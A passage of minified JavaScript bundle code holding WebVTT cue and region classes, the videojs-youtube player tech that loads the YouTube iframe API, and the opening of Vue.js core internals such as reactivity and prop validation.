s="",a=!1,o=e,l=i,u=r,c=null,d="",h=!0,p="auto",f="start",m="auto",g="auto",_=100,v="center";Object.defineProperties(this,{id:{enumerable:!0,get:function(){return s},set:function(e){s=""+e}},pauseOnExit:{enumerable:!0,get:function(){return a},set:function(e){a=!!e}},startTime:{enumerable:!0,get:function(){return o},set:function(e){if("number"!=typeof e)throw new TypeError("Start time must be set to a number.");o=e,this.hasBeenReset=!0}},endTime:{enumerable:!0,get:function(){return l},set:function(e){if("number"!=typeof e)throw new TypeError("End time must be set to a number.");l=e,this.hasBeenReset=!0}},text:{enumerable:!0,get:function(){return u},set:function(e){u=""+e,this.hasBeenReset=!0}},region:{enumerable:!0,get:function(){return c},set:function(e){c=e,this.hasBeenReset=!0}},vertical:{enumerable:!0,get:function(){return d},set:function(e){var i=function(e){return"string"==typeof e&&!!t[e.toLowerCase()]&&e.toLowerCase()}(e);if(!1===i)throw new SyntaxError("Vertical: an invalid or illegal direction string was specified.");d=i,this.hasBeenReset=!0}},snapToLines:{enumerable:!0,get:function(){return h},set:function(e){h=!!e,this.hasBeenReset=!0}},line:{enumerable:!0,get:function(){return p},set:function(e){if("number"!=typeof e&&"auto"!==e)throw new SyntaxError("Line: an invalid number or illegal string was specified.");p=e,this.hasBeenReset=!0}},lineAlign:{enumerable:!0,get:function(){return f},set:function(e){var t=n(e);t?(f=t,this.hasBeenReset=!0):console.warn("lineAlign: an invalid or illegal string was specified.")}},position:{enumerable:!0,get:function(){return m},set:function(e){if(e<0||e>100)throw new Error("Position must be between 0 and 100.");m=e,this.hasBeenReset=!0}},positionAlign:{enumerable:!0,get:function(){return g},set:function(e){var t=n(e);t?(g=t,this.hasBeenReset=!0):console.warn("positionAlign: an invalid or illegal string was specified.")}},size:{enumerable:!0,get:function(){return _},set:function(e){if(e<0||e>100)throw new Error("Size must be between 0 and 100.");_=e,this.hasBeenReset=!0}},align:{enumerable:!0,get:function(){return v},set:function(e){var t=n(e);if(!t)throw new SyntaxError("align: an invalid or illegal alignment string was specified.");v=t,this.hasBeenReset=!0}}}),this.displayState=void 0}r.prototype.getCueAsHTML=function(){return WebVTT.convertCueToDOMTree(window,this.text)},e.exports=r},13710:e=>{var t={"":!0,up:!0};function i(e){return"number"==typeof e&&e>=0&&e<=100}e.exports=function(){var e=100,n=3,r=0,s=100,a=0,o=100,l="";Object.defineProperties(this,{width:{enumerable:!0,get:function(){return e},set:function(t){if(!i(t))throw new Error("Width must be between 0 and 100.");e=t}},lines:{enumerable:!0,get:function(){return n},set:function(e){if("number"!=typeof e)throw new TypeError("Lines must be set to a number.");n=e}},regionAnchorY:{enumerable:!0,get:function(){return s},set:function(e){if(!i(e))throw new Error("RegionAnchorX must be between 0 and 100.");s=e}},regionAnchorX:{enumerable:!0,get:function(){return r},set:function(e){if(!i(e))throw new Error("RegionAnchorY must be between 0 and 100.");r=e}},viewportAnchorY:{enumerable:!0,get:function(){return o},set:function(e){if(!i(e))throw new Error("ViewportAnchorY must be between 0 and 100.");o=e}},viewportAnchorX:{enumerable:!0,get:function(){return a},set:function(e){if(!i(e))throw new Error("ViewportAnchorX must be between 0 and 100.");a=e}},scroll:{enumerable:!0,get:function(){return l},set:function(e){var i=function(e){return"string"==typeof e&&!!t[e.toLowerCase()]&&e.toLowerCase()}(e);!1===i?console.warn("Scroll: an invalid or illegal string was specified."):l=i}}})}},72575:function(e,t,i){var n;n=i(71480),e.exports=function(e){"use strict";var t,i,n,s,a,o,l,u=e.browser.IS_IOS||e.browser.IS_NATIVE_ANDROID,c=e.getTech("Tech");class d extends c{constructor(e,t){super(e,t),this.setPoster(e.poster),this.setSrc(this.options_.source,!0),this.setTimeout(function(){this.el_&&(this.el_.parentNode.className+=" vjs-youtube",u&&(this.el_.parentNode.className+=" vjs-youtube-mobile"),d.isApiReady?this.initYTPlayer():d.apiReadyQueue.push(this))}.bind(this))}dispose(){if(this.ytPlayer)this.ytPlayer.stopVideo&&this.ytPlayer.stopVideo(),this.ytPlayer.destroy&&this.ytPlayer.destroy();else{var e=d.apiReadyQueue.indexOf(this);-1!==e&&d.apiReadyQueue.splice(e,1)}this.ytPlayer=null,this.el_.parentNode.className=this.el_.parentNode.className.replace(" vjs-youtube","").replace(" vjs-youtube-mobile",""),this.el_.parentNode.removeChild(this.el_),c.prototype.dispose.call(this)}createEl(){var e=document.createElement("div");e.setAttribute("id",this.options_.techId),e.setAttribute("style","width:100%;height:100%;top:0;left:0;position:absolute"),e.setAttribute("class","vjs-tech");var t=document.createElement("div");if(t.appendChild(e),!u&&!this.options_.ytControls){var i=document.createElement("div");i.setAttribute("class","vjs-iframe-blocker"),i.setAttribute("style","position:absolute;top:0;left:0;width:100%;height:100%"),i.onclick=function(){this.pause()}.bind(this),t.appendChild(i)}return t}initYTPlayer(){var e={controls:0,modestbranding:1,rel:0,showinfo:0,loop:this.options_.loop?1:0};if(void 0!==this.options_.autohide&&(e.autohide=this.options_.autohide),void 0!==this.options_.cc_load_policy&&(e.cc_load_policy=this.options_.cc_load_policy),void 0!==this.options_.ytControls&&(e.controls=this.options_.ytControls),void 0!==this.options_.disablekb&&(e.disablekb=this.options_.disablekb),void 0!==this.options_.color&&(e.color=this.options_.color),e.controls?void 0!==this.options_.fs&&(e.fs=this.options_.fs):e.fs=0,-1!==this.options_.source.src.indexOf("end=")){var t=this.options_.source.src.match(/end=([0-9]*)/);this.options_.end=parseInt(t[1])}if(void 0!==this.options_.end&&(e.end=this.options_.end),void 0!==this.options_.hl?e.hl=this.options_.hl:void 0!==this.options_.language&&(e.hl=this.options_.language.substr(0,2)),void 0!==this.options_.iv_load_policy&&(e.iv_load_policy=this.options_.iv_load_policy),void 0!==this.options_.list?e.list=this.options_.list:this.url&&void 0!==this.url.listId&&(e.list=this.url.listId),void 0!==this.options_.listType&&(e.listType=this.options_.listType),void 0!==this.options_.modestbranding&&(e.modestbranding=this.options_.modestbranding),void 0!==this.options_.playlist&&(e.playlist=this.options_.playlist),void 0!==this.options_.playsinline&&(e.playsinline=this.options_.playsinline),void 0!==this.options_.rel&&(e.rel=this.options_.rel),void 0!==this.options_.showinfo&&(e.showinfo=this.options_.showinfo),-1!==this.options_.source.src.indexOf("start=")){var i=this.options_.source.src.match(/start=([0-9]*)/);this.options_.start=parseInt(i[1])}if(void 0!==this.options_.start&&(e.start=this.options_.start),void 0!==this.options_.theme&&(e.theme=this.options_.theme),void 0!==this.options_.customVars){var n=this.options_.customVars;Object.keys(n).forEach((function(t){e[t]=n[t]}))}this.activeVideoId=this.url?this.url.videoId:null,this.activeList=e.list;var r={videoId:this.activeVideoId,playerVars:e,events:{onReady:this.onPlayerReady.bind(this),onPlaybackQualityChange:this.onPlayerPlaybackQualityChange.bind(this),onPlaybackRateChange:this.onPlayerPlaybackRateChange.bind(this),onStateChange:this.onPlayerStateChange.bind(this),onVolumeChange:this.onPlayerVolumeChange.bind(this),onError:this.onPlayerError.bind(this)}};void 0!==this.options_.enablePrivacyEnhancedMode&&this.options_.enablePrivacyEnhancedMode&&(r.host="https://www.youtube-nocookie.com"),this.ytPlayer=new YT.Player(this.options_.techId,r)}onPlayerReady(){this.options_.muted&&this.ytPlayer.mute(),this.ytPlayer.getAvailablePlaybackRates().length>1&&(this.featuresPlaybackRate=!0),this.playerReady_=!0,this.triggerReady(),this.playOnReady?this.play():this.cueOnReady&&(this.cueVideoById_(this.url.videoId),this.activeVideoId=this.url.videoId)}onPlayerPlaybackQualityChange(){}onPlayerPlaybackRateChange(){this.trigger("ratechange")}onPlayerStateChange(e){var t=e.data;if(t!==this.lastState&&!this.errorNumber)switch(this.lastState=t,t){case-1:this.trigger("loadstart"),this.trigger("loadedmetadata"),this.trigger("durationchange"),this.trigger("ratechange");break;case YT.PlayerState.ENDED:this.trigger("ended");break;case YT.PlayerState.PLAYING:this.trigger("timeupdate"),this.trigger("durationchange"),this.trigger("playing"),this.trigger("play"),this.isSeeking&&this.onSeeked();break;case YT.PlayerState.PAUSED:this.trigger("canplay"),this.isSeeking?this.onSeeked():this.trigger("pause");break;case YT.PlayerState.BUFFERING:this.player_.trigger("timeupdate"),this.player_.trigger("waiting")}}onPlayerVolumeChange(){this.trigger("volumechange")}onPlayerError(e){this.errorNumber=e.data,this.trigger("pause"),this.trigger("error")}error(){var e=1e3+this.errorNumber;switch(this.errorNumber){case 5:return{code:e,message:"Error while trying to play the video"};case 2:case 100:return{code:e,message:"Unable to find the video"};case 101:case 150:return{code:e,message:"Playback on other Websites has been disabled by the video owner."}}return{code:e,message:"YouTube unknown error ("+this.errorNumber+")"}}loadVideoById_(e){var t={videoId:e};this.options_.start&&(t.startSeconds=this.options_.start),this.options_.end&&(t.endSeconds=this.options_.end),this.ytPlayer.loadVideoById(t)}cueVideoById_(e){var t={videoId:e};this.options_.start&&(t.startSeconds=this.options_.start),this.options_.end&&(t.endSeconds=this.options_.end),this.ytPlayer.cueVideoById(t)}src(e){return e&&this.setSrc({src:e}),this.source}poster(){return u?null:this.poster_}setPoster(e){this.poster_=e}setSrc(e){e&&e.src&&(delete this.errorNumber,this.source=e,this.url=d.parseUrl(e.src),this.options_.poster||this.url.videoId&&(this.poster_="https://img.youtube.com/vi/"+this.url.videoId+"/0.jpg",this.trigger("posterchange"),this.checkHighResPoster()),this.options_.autoplay&&!u?this.isReady_?this.play():this.playOnReady=!0:this.activeVideoId!==this.url.videoId&&(this.isReady_?(this.cueVideoById_(this.url.videoId),this.activeVideoId=this.url.videoId):this.cueOnReady=!0))}autoplay(){return this.options_.autoplay}setAutoplay(e){this.options_.autoplay=e}loop(){return this.options_.loop}setLoop(e){this.options_.loop=e}play(){this.url&&this.url.videoId&&(this.wasPausedBeforeSeek=!1,this.isReady_?(this.url.listId&&(this.activeList===this.url.listId?this.ytPlayer.playVideo():(this.ytPlayer.loadPlaylist(this.url.listId),this.activeList=this.url.listId)),this.activeVideoId===this.url.videoId?this.ytPlayer.playVideo():(this.loadVideoById_(this.url.videoId),this.activeVideoId=this.url.videoId)):(this.trigger("waiting"),this.playOnReady=!0))}pause(){this.ytPlayer&&this.ytPlayer.pauseVideo()}paused(){return!this.ytPlayer||this.lastState!==YT.PlayerState.PLAYING&&this.lastState!==YT.PlayerState.BUFFERING}currentTime(){return this.ytPlayer?this.ytPlayer.getCurrentTime():0}setCurrentTime(e){this.lastState===YT.PlayerState.PAUSED&&(this.timeBeforeSeek=this.currentTime()),this.isSeeking||(this.wasPausedBeforeSeek=this.paused()),this.ytPlayer.seekTo(e,!0),this.trigger("timeupdate"),this.trigger("seeking"),this.isSeeking=!0,this.lastState===YT.PlayerState.PAUSED&&this.timeBeforeSeek!==e&&(clearInterval(this.checkSeekedInPauseInterval),this.checkSeekedInPauseInterval=setInterval(function(){this.lastState===YT.PlayerState.PAUSED&&this.isSeeking?this.currentTime()!==this.timeBeforeSeek&&(this.trigger("timeupdate"),this.onSeeked()):clearInterval(this.checkSeekedInPauseInterval)}.bind(this),250))}seeking(){return this.isSeeking}seekable(){return this.ytPlayer?e.createTimeRange(0,this.ytPlayer.getDuration()):e.createTimeRange()}onSeeked(){clearInterval(this.checkSeekedInPauseInterval),this.isSeeking=!1,this.wasPausedBeforeSeek&&this.pause(),this.trigger("seeked")}playbackRate(){return this.ytPlayer?this.ytPlayer.getPlaybackRate():1}setPlaybackRate(e){this.ytPlayer&&this.ytPlayer.setPlaybackRate(e)}duration(){return this.ytPlayer?this.ytPlayer.getDuration():0}currentSrc(){return this.source&&this.source.src}ended(){return!!this.ytPlayer&&this.lastState===YT.PlayerState.ENDED}volume(){return this.ytPlayer?this.ytPlayer.getVolume()/100:1}setVolume(e){this.ytPlayer&&this.ytPlayer.setVolume(100*e)}muted(){return!!this.ytPlayer&&this.ytPlayer.isMuted()}setMuted(e){this.ytPlayer&&(this.muted(!0),e?this.ytPlayer.mute():this.ytPlayer.unMute(),this.setTimeout((function(){this.trigger("volumechange")}),50))}buffered(){if(!this.ytPlayer||!this.ytPlayer.getVideoLoadedFraction)return e.createTimeRange();var t=this.ytPlayer.getVideoLoadedFraction()*this.ytPlayer.getDuration();return e.createTimeRange(0,t)}preload(){}load(){}reset(){}networkState(){if(!this.ytPlayer)return 0;switch(this.ytPlayer.getPlayerState()){case-1:return 0;case 3:return 2;default:return 1}}readyState(){if(!this.ytPlayer)return 0;switch(this.ytPlayer.getPlayerState()){case-1:return 0;case 5:return 1;case 3:return 2;default:return 4}}supportsFullScreen(){return document.fullscreenEnabled||document.webkitFullscreenEnabled||document.mozFullScreenEnabled||document.msFullscreenEnabled}checkHighResPoster(){var e="https://img.youtube.com/vi/"+this.url.videoId+"/maxresdefault.jpg";try{var t=new Image;t.onload=function(){if("naturalHeight"in t){if(t.naturalHeight<=90||t.naturalWidth<=120)return}else if(t.height<=90||t.width<=120)return;this.poster_=e,this.trigger("posterchange")}.bind(this),t.onerror=function(){},t.src=e}catch(e){}}}d.isSupported=function(){return!0},d.canPlaySource=function(e){return d.canPlayType(e.type)},d.canPlayType=function(e){return"video/youtube"===e},d.parseUrl=function(e){var t={videoId:null},i=e.match(/^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|\&v=)([^#\&\?]*).*/);return i&&11===i[2].length&&(t.videoId=i[2]),(i=e.match(/[?&]list=([^#\&\?]+)/))&&i[1]&&(t.listId=i[1]),t},d.apiReadyQueue=[],"undefined"!=typeof document&&("https://www.youtube.com/iframe_api",s=function(){YT.ready((function(){d.isApiReady=!0;for(var e=0;e<d.apiReadyQueue.length;++e)d.apiReadyQueue[e].initYTPlayer()}))},a=!1,o=document.createElement("script"),(l=document.getElementsByTagName("script")[0])&&(l.parentNode.insertBefore(o,l),o.onload=function(){a||(a=!0,s())},o.onreadystatechange=function(){a||"complete"!==this.readyState&&"loaded"!==this.readyState||(a=!0,s())},o.src="https://www.youtube.com/iframe_api"),t=".vjs-youtube .vjs-iframe-blocker { display: none; }.vjs-youtube.vjs-user-inactive .vjs-iframe-blocker { display: block; }.vjs-youtube .vjs-poster { background-size: cover; }.vjs-youtube-mobile .vjs-big-play-button { display: none; }",i=document.head||document.getElementsByTagName("head")[0],(n=document.createElement("style")).type="text/css",n.styleSheet?n.styleSheet.cssText=t:n.appendChild(document.createTextNode(t)),i.appendChild(n)),void 0!==e.registerTech?e.registerTech("Youtube",d):e.registerComponent("Youtube",d)}(n.default||n)},91094:function(e,t,i){e.exports=function(){"use strict";var e=Object.freeze({});function t(e){return null==e}function n(e){return null!=e}function r(e){return!0===e}function s(e){return"string"==typeof e||"number"==typeof e||"symbol"==typeof e||"boolean"==typeof e}function a(e){return null!==e&&"object"==typeof e}var o=Object.prototype.toString;function l(e){return o.call(e).slice(8,-1)}function u(e){return"[object Object]"===o.call(e)}function c(e){return"[object RegExp]"===o.call(e)}function d(e){var t=parseFloat(String(e));return t>=0&&Math.floor(t)===t&&isFinite(e)}function h(e){return null==e?"":"object"==typeof e?JSON.stringify(e,null,2):String(e)}function p(e){var t=parseFloat(e);return isNaN(t)?e:t}function f(e,t){for(var i=Object.create(null),n=e.split(","),r=0;r<n.length;r++)i[n[r]]=!0;return t?function(e){return i[e.toLowerCase()]}:function(e){return i[e]}}var m=f("slot,component",!0),g=f("key,ref,slot,slot-scope,is");function _(e,t){if(e.length){var i=e.indexOf(t);if(i>-1)return e.splice(i,1)}}var v=Object.prototype.hasOwnProperty;function y(e,t){return v.call(e,t)}function b(e){var t=Object.create(null);return function(i){return t[i]||(t[i]=e(i))}}var w=/-(\w)/g,T=b((function(e){return e.replace(w,(function(e,t){return t?t.toUpperCase():""}))})),k=b((function(e){return e.charAt(0).toUpperCase()+e.slice(1)})),S=/\B([A-Z])/g,M=b((function(e){return e.replace(S,"-$1").toLowerCase()})),x=Function.prototype.bind?function(e,t){return e.bind(t)}:function(e,t){function i(i){var n=arguments.length;return n?n>1?e.apply(t,arguments):e.call(t,i):e.call(t)}return i._length=e.length,i};function L(e,t){t=t||0;for(var i=e.length-t,n=new Array(i);i--;)n[i]=e[i+t];return n}function C(e,t){for(var i in t)e[i]=t[i];return e}function D(e){for(var t={},i=0;i<e.length;i++)e[i]&&C(t,e[i]);return t}function E(e,t,i){}var P=function(e,t,i){return!1},A=function(e){return e};function I(e,t){if(e===t)return!0;var i=a(e),n=a(t);if(!i||!n)return!i&&!n&&String(e)===String(t);try{var r=Array.isArray(e),s=Array.isArray(t);if(r&&s)return e.length===t.length&&e.every((function(e,i){return I(e,t[i])}));if(e instanceof Date&&t instanceof Date)return e.getTime()===t.getTime();if(r||s)return!1;var o=Object.keys(e),l=Object.keys(t);return o.length===l.length&&o.every((function(i){return I(e[i],t[i])}))}catch(e){return!1}}function O(e,t){for(var i=0;i<e.length;i++)if(I(e[i],t))return i;return-1}function Y(e){var t=!1;return function(){t||(t=!0,e.apply(this,arguments))}}var $="data-server-rendered",j=["component","directive","filter"],N=["beforeCreate","created","beforeMount","mounted","beforeUpdate","updated","beforeDestroy","destroyed","activated","deactivated","errorCaptured"],R={optionMergeStrategies:Object.create(null),silent:!1,productionTip:!0,devtools:!0,performance:!1,errorHandler:null,warnHandler:null,ignoredElements:[],keyCodes:Object.create(null),isReservedTag:P,isReservedAttr:P,isUnknownElement:P,getTagNamespace:E,parsePlatformTagName:A,mustUseProp:P,async:!0,_lifecycleHooks:N};function H(e){var t=(e+"").charCodeAt(0);return 36===t||95===t}function F(e,t,i,n){Object.defineProperty(e,t,{value:i,enumerable:!!n,writable:!0,configurable:!0})}var U,B=/[^\w.$]/,W="__proto__"in{},z="undefined"!=typeof window,q="undefined"!=typeof WXEnvironment&&!!WXEnvironment.platform,V=q&&WXEnvironment.platform.toLowerCase(),J=z&&window.navigator.userAgent.toLowerCase(),G=J&&/msie|trident/.test(J),K=J&&J.indexOf("msie 9.0")>0,X=J&&J.indexOf("edge/")>0,Z=(J&&J.indexOf("android"),J&&/iphone|ipad|ipod|ios/.test(J)||"ios"===V),Q=J&&/chrome\/\d+/.test(J)&&!X,ee={}.watch,te=!1;if(z)try{var ie={};Object.defineProperty(ie,"passive",{get:function(){te=!0}}),window.addEventListener("test-passive",null,ie)}catch(e){}var ne=function(){return void 0===U&&(U=!z&&!q&&void 0!==i.g&&i.g.process&&"server"===i.g.process.env.VUE_ENV),U},re=z&&window.__VUE_DEVTOOLS_GLOBAL_HOOK__;function se(e){return"function"==typeof e&&/native code/.test(e.toString())}var ae,oe="undefined"!=typeof Symbol&&se(Symbol)&&"undefined"!=typeof Reflect&&se(Reflect.ownKeys);ae="undefined"!=typeof Set&&se(Set)?Set:function(){function e(){this.set=Object.create(null)}return e.prototype.has=function(e){return!0===this.set[e]},e.prototype.add=function(e){this.set[e]=!0},e.prototype.clear=function(){this.set=Object.create(null)},e}();var le=E,ue=E,ce=E,de=E,he="undefined"!=typeof console,pe=/(?:^|[-_])(\w)/g;le=function(e,t){var i=t?ce(t):"";R.warnHandler?R.warnHandler.call(null,e,t,i):he&&!R.silent&&console.error("[Vue warn]: "+e+i)},ue=function(e,t){he&&!R.silent&&console.warn("[Vue tip]: "+e+(t?ce(t):""))},de=function(e,t){if(e.$root===e)return"<Root>";var i="function"==typeof e&&null!=e.cid?e.options:e._isVue?e.$options||e.constructor.options:e,n=i.name||i._componentTag,r=i.__file;if(!n&&r){var s=r.match(/([^/\\]+)\.vue$/);n=s&&s[1]}return(n?"<"+function(e){return e.replace(pe,(function(e){return e.toUpperCase()})).replace(/[-_]/g,"")}(n)+">":"<Anonymous>")+(r&&!1!==t?" at "+r:"")},ce=function(e){if(e._isVue&&e.$parent){for(var t=[],i=0;e;){if(t.length>0){var n=t[t.length-1];if(n.constructor===e.constructor){i++,e=e.$parent;continue}i>0&&(t[t.length-1]=[n,i],i=0)}t.push(e),e=e.$parent}return"\n\nfound in\n\n"+t.map((function(e,t){return""+(0===t?"---\x3e ":function(e,t){for(var i="";t;)t%2==1&&(i+=e),t>1&&(e+=e),t>>=1;return i}(" ",5+2*t))+(Array.isArray(e)?de(e[0])+"... ("+e[1]+" recursive calls)":de(e))})).join("\n")}return"\n\n(found in "+de(e)+")"};var fe=0,me=function(){this.id=fe++,this.subs=[]};me.prototype.addSub=function(e){this.subs.push(e)},me.prototype.removeSub=function(e){_(this.subs,e)},me.prototype.depend=function(){me.target&&me.target.addDep(this)},me.prototype.notify=function(){var e=this.subs.slice();R.async||e.sort((function(e,t){return e.id-t.id}));for(var t=0,i=e.length;t<i;t++)e[t].update()},me.target=null;var ge=[];function _e(e){ge.push(e),me.target=e}function ve(){ge.pop(),me.target=ge[ge.length-1]}var ye=function(e,t,i,n,r,s,a,o){this.tag=e,this.data=t,this.children=i,this.text=n,this.elm=r,this.ns=void 0,this.context=s,this.fnContext=void 0,this.fnOptions=void 0,this.fnScopeId=void 0,this.key=t&&t.key,this.componentOptions=a,this.componentInstance=void 0,this.parent=void 0,this.raw=!1,this.isStatic=!1,this.isRootInsert=!0,this.isComment=!1,this.isCloned=!1,this.isOnce=!1,this.asyncFactory=o,this.asyncMeta=void 0,this.isAsyncPlaceholder=!1},be={child:{configurable:!0}};be.child.get=function(){return this.componentInstance},Object.defineProperties(ye.prototype,be);var we=function(e){void 0===e&&(e="");var t=new ye;return t.text=e,t.isComment=!0,t};function Te(e){return new ye(void 0,void 0,void 0,String(e))}function ke(e){var t=new ye(e.tag,e.data,e.children&&e.children.slice(),e.text,e.elm,e.context,e.componentOptions,e.asyncFactory);return t.ns=e.ns,t.isStatic=e.isStatic,t.key=e.key,t.isComment=e.isComment,t.fnContext=e.fnContext,t.fnOptions=e.fnOptions,t.fnScopeId=e.fnScopeId,t.asyncMeta=e.asyncMeta,t.isCloned=!0,t}var Se=Array.prototype,Me=Object.create(Se);["push","pop","shift","unshift","splice","sort","reverse"].forEach((function(e){var t=Se[e];F(Me,e,(function(){for(var i=[],n=arguments.length;n--;)i[n]=arguments[n];var r,s=t.apply(this,i),a=this.__ob__;switch(e){case"push":case"unshift":r=i;break;case"splice":r=i.slice(2)}return r&&a.observeArray(r),a.dep.notify(),s}))}));var xe=Object.getOwnPropertyNames(Me),Le=!0;function Ce(e){Le=e}var De=function(e){this.value=e,this.dep=new me,this.vmCount=0,F(e,"__ob__",this),Array.isArray(e)?(W?function(e,t){e.__proto__=t}(e,Me):function(e,t,i){for(var n=0,r=i.length;n<r;n++){var s=i[n];F(e,s,t[s])}}(e,Me,xe),this.observeArray(e)):this.walk(e)};function Ee(e,t){var i;if(a(e)&&!(e instanceof ye))return y(e,"__ob__")&&e.__ob__ instanceof De?i=e.__ob__:Le&&!ne()&&(Array.isArray(e)||u(e))&&Object.isExtensible(e)&&!e._isVue&&(i=new De(e)),t&&i&&i.vmCount++,i}function Pe(e,t,i,n,r){var s=new me,a=Object.getOwnPropertyDescriptor(e,t);if(!a||!1!==a.configurable){var o=a&&a.get,l=a&&a.set;o&&!l||2!==arguments.length||(i=e[t]);var u=!r&&Ee(i);Object.defineProperty(e,t,{enumerable:!0,configurable:!0,get:function(){var t=o?o.call(e):i;return me.target&&(s.depend(),u&&(u.dep.depend(),Array.isArray(t)&&Oe(t))),t},set:function(t){var a=o?o.call(e):i;t===a||t!=t&&a!=a||(n&&n(),o&&!l||(l?l.call(e,t):i=t,u=!r&&Ee(t),s.notify()))}})}}function Ae(e,i,n){if((t(e)||s(e))&&le("Cannot set reactive property on undefined, null, or primitive value: "+e),Array.isArray(e)&&d(i))return e.length=Math.max(e.length,i),e.splice(i,1,n),n;if(i in e&&!(i in Object.prototype))return e[i]=n,n;var r=e.__ob__;return e._isVue||r&&r.vmCount?(le("Avoid adding reactive properties to a Vue instance or its root $data at runtime - declare it upfront in the data option."),n):r?(Pe(r.value,i,n),r.dep.notify(),n):(e[i]=n,n)}function Ie(e,i){if((t(e)||s(e))&&le("Cannot delete reactive property on undefined, null, or primitive value: "+e),Array.isArray(e)&&d(i))e.splice(i,1);else{var n=e.__ob__;e._isVue||n&&n.vmCount?le("Avoid deleting properties on a Vue instance or its root $data - just set it to null."):y(e,i)&&(delete e[i],n&&n.dep.notify())}}function Oe(e){for(var t=void 0,i=0,n=e.length;i<n;i++)(t=e[i])&&t.__ob__&&t.__ob__.dep.depend(),Array.isArray(t)&&Oe(t)}De.prototype.walk=function(e){for(var t=Object.keys(e),i=0;i<t.length;i++)Pe(e,t[i])},De.prototype.observeArray=function(e){for(var t=0,i=e.length;t<i;t++)Ee(e[t])};var Ye=R.optionMergeStrategies;function $e(e,t){if(!t)return e;for(var i,n,r,s=Object.keys(t),a=0;a<s.length;a++)n=e[i=s[a]],r=t[i],y(e,i)?n!==r&&u(n)&&u(r)&&$e(n,r):Ae(e,i,r);return e}function je(e,t,i){return i?function(){var n="function"==typeof t?t.call(i,i):t,r="function"==typeof e?e.call(i,i):e;return n?$e(n,r):r}:t?e?function(){return $e("function"==typeof t?t.call(this,this):t,"function"==typeof e?e.call(this,this):e)}:t:e}function Ne(e,t){var i=t?e?e.concat(t):Array.isArray(t)?t:[t]:e;return i?function(e){for(var t=[],i=0;i<e.length;i++)-1===t.indexOf(e[i])&&t.push(e[i]);return t}(i):i}function Re(e,t,i,n){var r=Object.create(e||null);return t?(Be(n,t,i),C(r,t)):r}Ye.el=Ye.propsData=function(e,t,i,n){return i||le('option "'+n+'" can only be used during instance creation with the `new` keyword.'),He(e,t)},Ye.data=function(e,t,i){return i?je(e,t,i):t&&"function"!=typeof t?(le('The "data" option should be a function that returns a per-instance value in component definitions.',i),e):je(e,t)},N.forEach((function(e){Ye[e]=Ne})),j.forEach((function(e){Ye[e+"s"]=Re})),Ye.watch=function(e,t,i,n){if(e===ee&&(e=void 0),t===ee&&(t=void 0),!t)return Object.create(e||null);if(Be(n,t,i),!e)return t;var r={};for(var s in C(r,e),t){var a=r[s],o=t[s];a&&!Array.isArray(a)&&(a=[a]),r[s]=a?a.concat(o):Array.isArray(o)?o:[o]}return r},Ye.props=Ye.methods=Ye.inject=Ye.computed=function(e,t,i,n){if(t&&Be(n,t,i),!e)return t;var r=Object.create(null);return C(r,e),t&&C(r,t),r},Ye.provide=je;var He=function(e,t){return void 0===t?e:t};function Fe(e){/^[a-zA-Z][\w-]*$/.test(e)||le('Invalid component name: "'+e+'". Component names can only contain alphanumeric characters and the hyphen, and must start with a letter.'),(m(e)||R.isReservedTag(e))&&le("Do not use built-in or reserved HTML elements as component id: "+e)}function Be(e,t,i){u(t)||le('Invalid value for option "'+e+'": expected an Object, but got '+l(t)+".",i)}function Ue(e,t,i){if(function(e){for(var t in e.components)Fe(t)}(t),"function"==typeof t&&(t=t.options),function(e,t){var i=e.props;if(i){var n,r,s={};if(Array.isArray(i))for(n=i.length;n--;)"string"==typeof(r=i[n])?s[T(r)]={type:null}:le("props must be strings when using array syntax.");else if(u(i))for(var a in i)r=i[a],s[T(a)]=u(r)?r:{type:r};else le('Invalid value for option "props": expected an Array or an Object, but got '+l(i)+".",t);e.props=s}}(t,i),function(e,t){var i=e.inject;if(i){var n=e.inject={};if(Array.isArray(i))for(var r=0;r<i.length;r++)n[i[r]]={from:i[r]};else if(u(i))for(var s in i){var a=i[s];n[s]=u(a)?C({from:s},a):{from:a}}else le('Invalid value for option "inject": expected an Array or an Object, but got '+l(i)+".",t)}}(t,i),function(e){var t=e.directives;if(t)for(var i in t){var n=t[i];"function"==typeof n&&(t[i]={bind:n,update:n})}}(t),!t._base&&(t.extends&&(e=Ue(e,t.extends,i)),t.mixins))for(var n=0,r=t.mixins.length;n<r;n++)e=Ue(e,t.mixins[n],i);var s,a={};for(s in e)o(s);for(s in t)y(e,s)||o(s);function o(n){var r=Ye[n]||He;a[n]=r(e[n],t[n],i,n)}return a}function We(e,t,i,n){if("string"==typeof i){var r=e[t];if(y(r,i))return r[i];var s=T(i);if(y(r,s))return r[s];var a=k(s);if(y(r,a))return r[a];var o=r[i]||r[s]||r[a];return n&&!o&&le("Failed to resolve "+t.slice(0,-1)+": "+i,e),o}}function ze(e,t,i,n){var r=t[e],s=!y(i,e),o=i[e],u=Ke(Boolean,r.type);if(u>-1)if(s&&!y(r,"default"))o=!1;else if(""===o||o===M(e)){var c=Ke(String,r.type);(c<0||u<c)&&(o=!0)}if(void 0===o){o=function(e,t,i){if(y(t,"default")){var n=t.default;return a(n)&&le('Invalid default value for prop "'+i+'": Props with type Object/Array must use a factory function to return the default value.',e),e&&e.$options.propsData&&void 0===e.$options.propsData[i]&&void 0!==e._props[i]?e._props[i]:"function"==typeof n&&"Function"!==Je(t.type)?n.call(e):n}}(n,r,e);var d=Le;Ce(!0),Ee(o),Ce(d)}return function(e,t,i,n,r){if(e.required&&r)le('Missing required prop: "'+t+'"',n);else if(null!=i||e.required){var s=e.type,a=!s||!0===s,o=[];if(s){Array.isArray(s)||(s=[s]);for(var u=0;u<s.length&&!a;u++){var c=Ve(i,s[u]);o.push(c.expectedType||""),a=c.valid}}if(a){var d=e.validator;d&&(d(i)||le('Invalid prop: custom validator check failed for prop "'+t+'".',n))}else le(function(e,t,i){var n='Invalid prop: type check failed for prop "'+e+'". Expected '+i.map(k).join(", "),r=i[0],s=l(t),a=Xe(t,r),o=Xe(t,s);return 1===i.length&&Ze(r)&&!function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];return e.some((function(e){return"boolean"===e.toLowerCase()}))}(r,s)&&(n+=" with value "+a),n+=", got "+s+" ",Ze(s)&&(n+="with value "+o+"."),n}(t,i,o),n)}}(r,e,o,n,s),o}var qe=/^(String|Number|Boolean|Function|Symbol)$/;function Ve(e,t){var i,n=Je(t);if(qe.test(n)){var r=typeof e;(i=r===n.toLowerCase())||"object"!==r||(i=e instanceof t)}else i="Object"===n?u(e):"Array"===n?Array.isArray(e):e instanceof t;return{valid:i,expectedType:n}}function Je(e){var t=e&&e.toString().match(/^\s*function 